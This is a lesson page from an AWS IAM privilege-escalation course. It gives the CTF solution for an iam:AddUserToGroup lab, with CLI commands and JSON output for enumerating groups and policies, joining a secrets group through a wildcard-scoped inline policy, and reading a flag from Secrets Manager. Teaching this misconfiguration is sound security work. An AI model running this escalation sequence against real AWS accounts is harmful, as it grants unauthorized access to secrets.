Back to Course

AWS IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What did you think of the course?
  36. What's next?
Lesson 19 of 36
In Progress

iam:AddUserToGroup Solution

Christophe December 8, 2023

Using the provided Access Key ID and Secret Access Key, configure your AWS CLI profile.

aws configure

Enumerate your user’s permissions:

aws iam list-groups
{
    "Groups": [
        {
            "Path": "/division_it/admins/",
            "GroupName": "iam-addusertogroup-privesc-1702070034341-Admins",
            "GroupId": "AGPA5M7PA4Z5WTSLT5RD4",
            "Arn": "arn:aws:iam::921234892411:group/division_it/admins/iam-addusertogroup-privesc-1702070034341-Admins",
            "CreateDate": "2023-12-08T21:14:00+00:00"
        },
        {
            "Path": "/division_it/product_cheeta/engineering/development/",
            "GroupName": "iam-addusertogroup-privesc-1702070034341-Developers",
            "GroupId": "AGPA5M7PA4Z56PPXZ7H3N",
            "Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/development/iam-addusertogroup-privesc-1702070034341-Developers",
            "CreateDate": "2023-12-08T21:14:00+00:00"
        },
        {
            "Path": "/division_it/product_cheeta/engineering/secrets/",
            "GroupName": "iam-addusertogroup-privesc-1702070034341-SecretsManagement",
            "GroupId": "AGPA5M7PA4Z572MHJDLEA",
            "Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/secrets/iam-addusertogroup-privesc-1702070034341-SecretsManagement",
            "CreateDate": "2023-12-08T21:14:00+00:00"
        }
    ]
}

Code language: PHP (php)

(Notice the Path of these groups, they are highly relevant to this lab’s vulnerability)

List policies for these groups:

aws iam list-group-policies --group-name iam-addusertogroup-privesc-1702070034341-Admins
{
    "PolicyNames": [
        "iam-addusertogroup-privesc-1702070034341-admins"
    ]
}

Code language: PHP (php)
aws iam list-group-policies --group-name iam-addusertogroup-privesc-1702070034341-Developers
{
    "PolicyNames": [
        "iam-addusertogroup-privesc-1702070034341-developers"
    ]
}

Code language: PHP (php)
aws iam list-group-policies --group-name iam-addusertogroup-privesc-1702070034341-SecretsManagement
{
    "PolicyNames": [
        "iam-addusertogroup-privesc-1702070034341-secrets"
    ]
}

Code language: PHP (php)

Now let’s list the permissions:

aws iam get-group-policy --group-name iam-addusertogroup-privesc-1702070034341-Admins --policy-name iam-addusertogroup-privesc-1702070034341-admins
{
    "GroupName": "iam-addusertogroup-privesc-1702070034341-Admins",
    "PolicyName": "iam-addusertogroup-privesc-1702070034341-admins",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "*",
                "Resource": "*",
                "Effect": "Deny"
            }
        ]
    }
}

Code language: JavaScript (javascript)

Yikes! That one’s called “Admins” but it explicitly denies all permissions and looks like a honeypot to me! If you were to somehow add yourself to that group, you would block all of your access.

aws iam get-group-policy --group-name iam-addusertogroup-privesc-1702070034341-Developers --policy-name iam-addusertogroup-privesc-1702070034341-developers
{
    "GroupName": "iam-addusertogroup-privesc-1702070034341-Developers",
    "PolicyName": "iam-addusertogroup-privesc-1702070034341-developers",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:ListGroupPolicies",
                    "iam:ListPolicies",
                    "iam:ListPolicyVersions",
                    "iam:ListUsers",
                    "iam:ListGroups",
                    "iam:ListGroupsForUser",
                    "iam:GetPolicy",
                    "iam:GetUser",
                    "iam:GetUserPolicy",
                    "iam:GetGroupPolicy",
                    "iam:ListUserPolicies"
                ],
                "Resource": "*",
                "Effect": "Allow"
            }
        ]
    }
}

Code language: JavaScript (javascript)

Those are the permissions we currently have, since we’re part of this Developers group. Definitely no permissions to view secrets…

Let’s check the final group:

aws iam get-group-policy --group-name iam-addusertogroup-privesc-1702070034341-SecretsManagement --policy-name iam-addusertogroup-privesc-1702070034341-secrets   
{
    "GroupName": "iam-addusertogroup-privesc-1702070034341-SecretsManagement",
    "PolicyName": "iam-addusertogroup-privesc-1702070034341-secrets",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "secretsmanager:GetSecretValue",
                    "secretsmanager:ListSecretVersionIds",
                    "secretsmanager:GetResourcePolicy",
                    "secretsmanager:DescribeSecret"
                ],
                "Resource": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-addusertogroup-privesc-1702070034341-final_flag*",
                "Effect": "Allow"
            },
            {
                "Action": "secretsmanager:ListSecrets",
                "Resource": "*",
                "Effect": "Allow"
            }
        ]
    }
}

Code language: JavaScript (javascript)

That’s it! That’s the group we want to add ourselves to…except our group permissions don’t give us iam:AddUserToGroup 🤔

That’s exactly what an Admin or Security Engineer might think and overlook, except we do have those permissions. They’re just added to our user as an inline policy.

aws iam list-user-policies --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev
{
    "PolicyNames": [
        "iam-addusertogroup-privesc-1702070034341-senior-manager"
    ]
}

Code language: PHP (php)

As we can see, our -SeniorDev user has an inline policy, and if we read that policy:

aws iam get-user-policy --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev --policy-name iam-addusertogroup-privesc-1702070034341-senior-manager
{
    "UserName": "iam-addusertogroup-privesc-1702070034341-SeniorDev",
    "PolicyName": "iam-addusertogroup-privesc-1702070034341-senior-manager",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:AddUserToGroup"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/*"
                ],
                "Effect": "Allow"
            }
        ]
    }
}

Code language: JavaScript (javascript)

…we can see the major issue.

You can find inline policies like these in production AWS environments because of an exchange that might go something like this:

An IT manager goes to the person in charge of IAM permissions and says “hey, I need to add this developer to my group, and we’re about to hire 5 more devs, so can you just give me permissions to add them to my team group so I don’t have to keep asking you and waiting for you to do it? Thanks!”

That person goes “ahhh ok yeah these requests are sucking up a lot of my time and I’m already behind schedule on my tasks. One sec let me give you access”

They rush it, and they write this policy that we just saw:

{
                "Action": [
                    "iam:AddUserToGroup"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/*"
                ],
                "Effect": "Allow"
            }

Code language: JSON / JSON with Comments (json)

The main problem here (apart from it being an inline policy) is the Resource:

arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/*

This grants the ability to iam:AddUserToGroup for the resource

arn:aws:iam::${AWS::AccountId}:group/division_it/product_cheeta/engineering/*
Code language: PHP (php)

The -Developers group’s path is:

/division_it/product_cheeta/engineering/development/

And the -SecretsManagement path is:

/division_it/product_cheeta/engineering/secrets/

Which means that the iam:AddUserToGroup permission applies to both of those groups! This is one of the dangers of using the * wildcard in IAM policies without being very careful that it doesn’t apply to things it shouldn’t. A scenario like this can very easily happen over time as people make changes without truly thinking through the impact!

So now, we can do this:

aws iam add-user-to-group --group-name iam-addusertogroup-privesc-1702070034341-SecretsManagement --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev

Verify that it worked:

aws iam list-groups-for-user --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev
{
    "Groups": [
        {
            "Path": "/division_it/product_cheeta/engineering/development/",
            "GroupName": "iam-addusertogroup-privesc-1702070034341-Developers",
            "GroupId": "AGPA5M7PA4Z56PPXZ7H3N",
            "Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/development/iam-addusertogroup-privesc-1702070034341-Developers",
            "CreateDate": "2023-12-08T21:14:00+00:00"
        },
        {
            "Path": "/division_it/product_cheeta/engineering/secrets/",
            "GroupName": "iam-addusertogroup-privesc-1702070034341-SecretsManagement",
            "GroupId": "AGPA5M7PA4Z572MHJDLEA",
            "Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/secrets/iam-addusertogroup-privesc-1702070034341-SecretsManagement",
            "CreateDate": "2023-12-08T21:14:00+00:00"
        }
    ]
}

Code language: PHP (php)

Let’s use our newfound powers to list secrets:

aws secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-addusertogroup-privesc-1702070034341-final_flag-6Gm2jz",
            "Name": "iam-addusertogroup-privesc-1702070034341-final_flag",
            "Description": "Secret containing a flag",
            "LastChangedDate": "2023-12-08T14:13:58.904000-07:00",
            "Tags": [
                {
                    "Key": "aws:cloudformation:stack-name",
                    "Value": "iam-addusertogroup-privesc-1702070034341"
                },
                {
                    "Key": "aws:cloudformation:logical-id",
                    "Value": "FlagSecret"
                },
                {
                    "Key": "cybr-lab",
                    "Value": "auto-deployed"
                },
                {
                    "Key": "aws:cloudformation:stack-id",
                    "Value": "arn:aws:cloudformation:us-east-1:921234892411:stack/iam-addusertogroup-privesc-1702070034341/b15859d0-960e-11ee-bc2a-0e53fc2b6a31"
                }
            ],
            "SecretVersionsToStages": {
                "e5aebf09-61a7-7b32-3c53-3b14621bb932": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2023-12-08T14:13:58.863000-07:00"
        }
    ]
}

Code language: PHP (php)

Use the Name (also acts as the ID in this case) to run this:

aws secretsmanager get-secret-value --secret-id iam-addusertogroup-privesc-1702070034341-final_flag
{
    "ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-addusertogroup-privesc-1702070034341-final_flag-6Gm2jz",
    "Name": "iam-addusertogroup-privesc-1702070034341-final_flag",
    "VersionId": "e5aebf09-61a7-7b32-3c53-3b14621bb932",
    "SecretString": "{\\"vault-password\\": \\"<REDACTED>\\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-12-08T14:13:58.899000-07:00"
}

Code language: JavaScript (javascript)

The secret value is shown in SecretString (I’ve redacted it so that you have to complete the lab to see it ;)). Copy/paste it and submit it as the flag!

Congrats! You’ve completed the lab.

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.